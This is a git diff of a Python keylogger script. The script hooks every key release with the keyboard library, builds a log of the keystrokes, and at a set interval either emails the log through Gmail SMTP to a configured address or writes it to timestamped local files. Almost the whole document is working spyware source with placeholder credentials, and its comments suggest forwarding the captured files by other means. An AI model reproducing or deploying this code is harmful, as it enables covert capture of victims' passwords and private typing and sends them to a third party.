11import keyboard # for keylogs
22import smtplib # for sending email using SMTP protocol (gmail)
3- # Semaphore is for blocking the current thread
43# Timer is to make a method runs after an `interval` amount of time
5- from threading import Semaphore , Timer
4+ from threading import Timer
5+ from datetime import datetime
66
7- SEND_REPORT_EVERY = 600 # 10 minutes
7+ SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
88EMAIL_ADDRESS = "[email protected] " 99EMAIL_PASSWORD = "put_real_pw"
1010
1111class Keylogger :
12- def __init__ (self , interval ):
12+ def __init__ (self , interval , report_method = "email" ):
1313 # we gonna pass SEND_REPORT_EVERY to interval
1414 self .interval = interval
15+ self .report_method = report_method
1516 # this is the string variable that contains the log of all
1617 # the keystrokes within `self.interval`
1718 self .log = ""
18- # for blocking after setting the on_release listener
19- self .semaphore = Semaphore (0 )
19+ # record start & end datetimes
20+ self .start_dt = datetime .now ()
21+ self .end_dt = datetime .now ()
2022
2123 def callback (self , event ):
2224 """
@@ -39,9 +41,24 @@ def callback(self, event):
3941 # replace spaces with underscores
4042 name = name .replace (" " , "_" )
4143 name = f"[{ name .upper ()} ]"
42-
44+ # finally, add the key name to our global `self.log` variable
4345 self .log += name
4446
47+ def update_filename (self ):
48+ # construct the filename to be identified by start & end datetimes
49+ start_dt_str = str (self .start_dt )[:- 7 ].replace (" " , "-" ).replace (":" , "" )
50+ end_dt_str = str (self .end_dt )[:- 7 ].replace (" " , "-" ).replace (":" , "" )
51+ self .filename = f"keylog-{ start_dt_str } _{ end_dt_str } "
52+
53+ def report_to_file (self ):
54+ """This method creates a log file in the current directory that contains
55+ the current keylogs in the `self.log` variable"""
56+ # open the file in write mode (create it)
57+ with open (f"{ self .filename } .txt" , "w" ) as f :
58+ # write the keylogs to the file
59+ print (self .log , file = f )
60+ print (f"[+] Saved { self .filename } .txt" )
61+
4562 def sendmail (self , email , password , message ):
4663 # manages a connection to an SMTP server
4764 server = smtplib .SMTP (host = "smtp.gmail.com" , port = 587 )
@@ -61,24 +78,38 @@ def report(self):
6178 """
6279 if self .log :
6380 # if there is something in log, report it
64- self .sendmail (EMAIL_ADDRESS , EMAIL_PASSWORD , self .log )
65- # can print to a file, whatever you want
66- # print(self.log)
81+ self .end_dt = datetime .now ()
82+ # update `self.filename`
83+ self .update_filename ()
84+ if self .report_method == "email" :
85+ self .sendmail (EMAIL_ADDRESS , EMAIL_PASSWORD , self .log )
86+ elif self .report_method == "file" :
87+ self .report_to_file ()
88+ # if you want to print in the console, uncomment below line
89+ # print(f"[{self.filename}] - {self.log}")
90+ self .start_dt = datetime .now ()
6791 self .log = ""
68- Timer (interval = self .interval , function = self .report ).start ()
92+ timer = Timer (interval = self .interval , function = self .report )
93+ # set the thread as daemon (dies when main thread die)
94+ timer .daemon = True
95+ # start the timer
96+ timer .start ()
6997
7098 def start (self ):
99+ # record the start datetime
100+ self .start_dt = datetime .now ()
71101 # start the keylogger
72102 keyboard .on_release (callback = self .callback )
73103 # start reporting the keylogs
74104 self .report ()
75- # block the current thread,
76- # since on_release() doesn't block the current thread
77- # if we don't block it, when we execute the program, nothing will happen
78- # that is because on_release() will start the listener in a separate thread
79- self .semaphore .acquire ()
105+ # block the current thread, wait until CTRL+C is pressed
106+ keyboard .wait ()
80107
81108
82109if __name__ == "__main__" :
83- keylogger = Keylogger (interval = SEND_REPORT_EVERY )
110+ # if you want a keylogger to send to your email
111+ # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
112+ # if you want a keylogger to record keylogs to a local file
113+ # (and then send it using your favorite method)
114+ keylogger = Keylogger (interval = SEND_REPORT_EVERY , report_method = "file" )
84115 keylogger .start ()
0 commit comments